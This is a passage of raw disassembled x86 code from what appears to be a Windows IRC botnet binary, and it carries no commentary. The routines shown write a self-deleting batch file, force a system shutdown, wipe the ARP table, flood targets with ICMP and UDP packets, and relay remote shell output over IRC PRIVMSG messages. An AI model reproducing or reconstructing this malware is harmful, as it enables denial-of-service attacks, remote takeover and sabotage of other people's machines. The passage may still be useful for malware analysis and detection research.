		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409DEE
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4210E4	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_409DEE:				; CODE XREF: sub_409D4F+2Aj
					; sub_409D4F+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409D4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_409DF3	proc near		; CODE XREF: sub_40CE55+13B6p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_413D67
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43A2E0	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_409DF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409E15	proc near		; CODE XREF: sub_40BCEF+472p
					; sub_40CE55+5405p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42C198, esi
		push	edi
		jz	short loc_409E39
		cmp	dword_43A468, esi
		jnz	short loc_409E39
		push	esi
		call	sub_40B3AE
		pop	ecx


loc_409E39:				; CODE XREF: sub_409E15+13j
					; sub_409E15+1Bj
		call	sub_41515C
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4210F8	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_409F99
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_421070	; WriteFile
		push	edi
		call	dword_42106C	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_438FBC
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_4210C8	; GetModuleHandleA
		push	eax
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409F41
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_4210F4	; SetFileAttributesA


loc_409F41:				; CODE XREF: sub_409E15+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_4210F0	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_4210EC	; CreateProcessA


loc_409F99:				; CODE XREF: sub_409E15+72j
		pop	edi
		pop	esi
		leave
		retn
sub_409E15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409F9D	proc near		; CODE XREF: sub_40C682+31p

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_415D70
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCA1c_bat ; "c:\\a1c.bat"
		push	eax
		movsb
		call	sub_4154E7
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short loc_40A057
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	dword_421070	; WriteFile
		push	edi
		call	dword_42106C	; CloseHandle
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_48], edi
		mov	[ebp+var_18], si
		push	1
		pop	eax
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		call	dword_4210EC	; CreateProcessA


loc_40A057:				; CODE XREF: sub_409F9D+55j
		pop	edi
		pop	esi
		leave
		retn
sub_409F9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A05B	proc near		; CODE XREF: sub_4013E9+7p
					; sub_401B7C+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43A3D8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A083
		push	[esp+arg_0]
		call	dword_43A41C	; gethostbyname
		test	eax, eax
		jnz	short loc_40A07C
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A07C:				; CODE XREF: sub_40A05B+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A083:				; CODE XREF: sub_40A05B+Dj
		retn
sub_40A05B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A084	proc near		; CODE XREF: sub_40CB75+D6p
		mov	ecx, dword_43A2C0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A092
		call	ecx	; DnsFlushResolverCache

locret_40A092:				; CODE XREF: sub_40A084+Aj
		retn
sub_40A084	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A093	proc near		; CODE XREF: sub_40CE55:loc_411F8Cp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43A414	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A159
		sub	ecx, 32h
		jz	loc_40A152
		sub	ecx, 48h
		jz	short loc_40A0F3
		sub	ecx, 6Eh
		jz	short loc_40A0EC


loc_40A0D5:				; CODE XREF: sub_40A093+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42B428
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		jmp	short loc_40A133
; ---------------------------------------------------------------------------


loc_40A0EC:				; CODE XREF: sub_40A093+40j
		push	offset unk_42B3F0
		jmp	short loc_40A125
; ---------------------------------------------------------------------------


loc_40A0F3:				; CODE XREF: sub_40A093+3Bj
		push	[ebp+var_8]
		call	sub_415DC9
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_415570
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A120
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43A414	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40A159
		jmp	short loc_40A0D5
; ---------------------------------------------------------------------------


loc_40A120:				; CODE XREF: sub_40A093+79j
		push	offset unk_42B3AC


loc_40A125:				; CODE XREF: sub_40A093+5Ej
					; sub_40A093+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx


loc_40A133:				; CODE XREF: sub_40A093+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40B16D
		pop	ecx


loc_40A143:				; CODE XREF: sub_40A093+C8j
					; sub_40A093+DCj
		push	esi
		call	sub_415E3D
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A152:				; CODE XREF: sub_40A093+32j
		push	offset unk_42B368
		jmp	short loc_40A125
; ---------------------------------------------------------------------------


loc_40A159:				; CODE XREF: sub_40A093+29j
					; sub_40A093+89j
		cmp	[esi], edi
		jbe	short loc_40A143
		lea	ebx, [esi+4]


loc_40A160:				; CODE XREF: sub_40A093+DAj
		push	ebx
		call	dword_43A410	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A160
		jmp	short loc_40A143
sub_40A093	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A171	proc near		; CODE XREF: sub_401447+243p
					; sub_401BD6+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A33C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43A6CC
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4154E7
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A171	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A1CA	proc near		; CODE XREF: sub_4010B2+24Cp
					; sub_4010B2+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40A1F3
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40A1E6:				; CODE XREF: sub_40A1CA+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40A1E6
		pop	edi
		jmp	short loc_40A1F7
; ---------------------------------------------------------------------------


loc_40A1F3:				; CODE XREF: sub_40A1CA+Aj
		mov	edx, [esp+4+arg_0]


loc_40A1F7:				; CODE XREF: sub_40A1CA+27j
		test	esi, esi
		pop	esi
		jz	short loc_40A201
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40A201:				; CODE XREF: sub_40A1CA+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40A1CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A217	proc near		; DATA XREF: sub_40CE55+2D34o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_43A324	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40A272
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43A41C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40A278


loc_40A272:				; CODE XREF: sub_40A217+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40A2D5


loc_40A278:				; CODE XREF: sub_40A217+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42B4AC
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40A2B8
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_412D4C
		add	esp, 14h


loc_40A2B8:				; CODE XREF: sub_40A217+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40B16D
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_40A2D5:				; CODE XREF: sub_40A217+5Fj
		cmp	eax, ebx
		jz	short loc_40A2E5
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40A2E8
; ---------------------------------------------------------------------------


loc_40A2E5:				; CODE XREF: sub_40A217+C0j
		mov	[ebp+var_4], esi


loc_40A2E8:				; CODE XREF: sub_40A217+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_415570
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40A308
		mov	[ebp+var_3C], eax


loc_40A308:				; CODE XREF: sub_40A217+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40A310
		mov	[ebp+var_38], edi


loc_40A310:				; CODE XREF: sub_40A217+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40A33D


loc_40A317:				; CODE XREF: sub_40A217+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43A2BC	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40A317


loc_40A33D:				; CODE XREF: sub_40A217+FEj
		push	[ebp+arg_0]
		call	dword_43A450	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42B46C
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40A386
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_412D4C
		add	esp, 14h


loc_40A386:				; CODE XREF: sub_40A217+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40B16D
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_40A217	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A3A3	proc near		; DATA XREF: sub_40CE55+2E7Bo

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43A418	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43A3D8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40A488
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_43A41C	; gethostbyname
		cmp	eax, edi
		jnz	short loc_40A481
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42B528
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40A464
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_412D4C
		add	esp, 14h


loc_40A464:				; CODE XREF: sub_40A3A3+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40B16D
		push	[ebp+var_20]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40A481:				; CODE XREF: sub_40A3A3+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40A48B
; ---------------------------------------------------------------------------


loc_40A488:				; CODE XREF: sub_40A3A3+6Ej
		lea	eax, [ebp+arg_0]


loc_40A48B:				; CODE XREF: sub_40A3A3+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40A4A6
		call	sub_415543
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40A4A9
; ---------------------------------------------------------------------------


loc_40A4A6:				; CODE XREF: sub_40A3A3+F0j
		push	[ebp+var_24]


loc_40A4A9:				; CODE XREF: sub_40A3A3+101j
		call	dword_43A398	; ntohs
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40A4BB
		mov	[ebp+var_24], esi


loc_40A4BB:				; CODE XREF: sub_40A3A3+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40A4C8
		mov	[ebp+var_24], eax


loc_40A4C8:				; CODE XREF: sub_40A3A3+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40A4DC
		mov	[ebp+var_28], esi


loc_40A4DC:				; CODE XREF: sub_40A3A3+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40A4FD


loc_40A4E3:				; CODE XREF: sub_40A3A3+158j
		call	sub_415543
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40A4E3


loc_40A4FD:				; CODE XREF: sub_40A3A3+13Ej
					; sub_40A3A3+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40A55C
		push	0Bh
		pop	esi


loc_40A50A:				; CODE XREF: sub_40A3A3+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43A3FC	; sendto
		push	[ebp+var_28]
		call	dword_421060	; Sleep
		dec	esi
		jnz	short loc_40A50A
		cmp	[ebp+var_24], edi
		jnz	short loc_40A4FD
		call	sub_415543
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43A398	; ntohs
		mov	[ebp+var_E], ax
		jmp	short loc_40A4FD
; ---------------------------------------------------------------------------


loc_40A55C:				; CODE XREF: sub_40A3A3+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42B4E8
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40A59C
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_412D4C
		add	esp, 14h


loc_40A59C:				; CODE XREF: sub_40A3A3+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40B16D
		push	[ebp+var_20]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
sub_40A3A3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A5B9	proc near		; CODE XREF: sub_40A5E9+2Ap
					; sub_40A621+7Ep ...
		mov	eax, dword_43A6E4
		push	esi
		mov	esi, dword_42106C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5CD
		push	eax
		call	esi	; CloseHandle


loc_40A5CD:				; CODE XREF: sub_40A5B9+Fj
		mov	eax, dword_43A6EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5DA
		push	eax
		call	esi	; CloseHandle


loc_40A5DA:				; CODE XREF: sub_40A5B9+1Cj
		mov	eax, dword_43A6E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5E7
		push	eax
		call	esi	; CloseHandle


loc_40A5E7:				; CODE XREF: sub_40A5B9+29j
		pop	esi
		retn
sub_40A5B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5E9	proc near		; CODE XREF: sub_40B551+14Ap
					; sub_40CE55+4507p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_415CF0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43A6E8
		call	dword_421070	; WriteFile
		test	eax, eax
		jnz	short loc_40A61C
		call	sub_40A5B9
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A61C:				; CODE XREF: sub_40A5E9+28j
		push	1
		pop	eax
		leave
		retn
sub_40A5E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A621	proc near		; CODE XREF: sub_40A6A8+D3p
					; sub_40A6A8+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_438FBC
		push	[ebp+arg_4]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A664
		push	7D0h
		call	dword_421060	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		jmp	short loc_40A67B
; ---------------------------------------------------------------------------


loc_40A664:				; CODE XREF: sub_40A621+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 0Ch


loc_40A67B:				; CODE XREF: sub_40A621+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		test	eax, eax
		jg	short loc_40A6A4
		call	sub_40A5B9


loc_40A6A4:				; CODE XREF: sub_40A621+7Cj
		xor	eax, eax
		leave
		retn
sub_40A621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6A8	proc near		; DATA XREF: sub_40A7FD+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43A6F0


loc_40A6C0:				; CODE XREF: sub_40A6A8+79j
					; sub_40A6A8+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43A6E4
		call	dword_4210FC	; PeekNamedPipe
		test	eax, eax
		jz	loc_40A78E
		cmp	[ebp+var_4], edi
		jnz	short loc_40A723
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43A6E0
		call	dword_421000	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_40A719
		cmp	[ebp+var_8], 103h
		jnz	loc_40A7B2


loc_40A719:				; CODE XREF: sub_40A6A8+62j
		push	0Ah
		call	dword_421060	; Sleep
		jmp	short loc_40A6C0
; ---------------------------------------------------------------------------


loc_40A723:				; CODE XREF: sub_40A6A8+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40A73A


loc_40A72A:				; CODE XREF: sub_40A6A8+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40A788
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40A72A


loc_40A73A:				; CODE XREF: sub_40A6A8+80j
		mov	[ebp+var_4], esi


loc_40A73D:				; CODE XREF: sub_40A6A8+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43A6E4
		call	dword_421068	; ReadFile
		test	eax, eax
		jz	short loc_40A7DA
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43A724
		call	sub_40A621
		add	esp, 0Ch
		jmp	loc_40A6C0
; ---------------------------------------------------------------------------


loc_40A788:				; CODE XREF: sub_40A6A8+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40A73D
; ---------------------------------------------------------------------------


loc_40A78E:				; CODE XREF: sub_40A6A8+45j
		push	offset dword_42B5F4
		push	ebx
		push	dword_43A724
		call	sub_40A621
		push	[ebp+arg_0]
		call	sub_4152AF
		add	esp, 10h
		push	1
		call	dword_421048	; ExitThread


loc_40A7B2:				; CODE XREF: sub_40A6A8+6Bj
		call	sub_40A5B9
		push	offset dword_42B5B8
		push	ebx
		push	dword_43A724
		call	sub_40A621
		push	[ebp+arg_0]
		call	sub_4152AF
		add	esp, 10h
		push	edi
		call	dword_421048	; ExitThread


loc_40A7DA:				; CODE XREF: sub_40A6A8+C3j
		push	offset dword_42B574
		push	ebx
		push	dword_43A724
		call	sub_40A621
		push	[ebp+arg_0]
		call	sub_4152AF
		add	esp, 10h
		push	edi
		call	dword_421048	; ExitThread
sub_40A6A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7FD	proc near		; CODE XREF: sub_40B551+99p
					; sub_40CE55+51BFp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
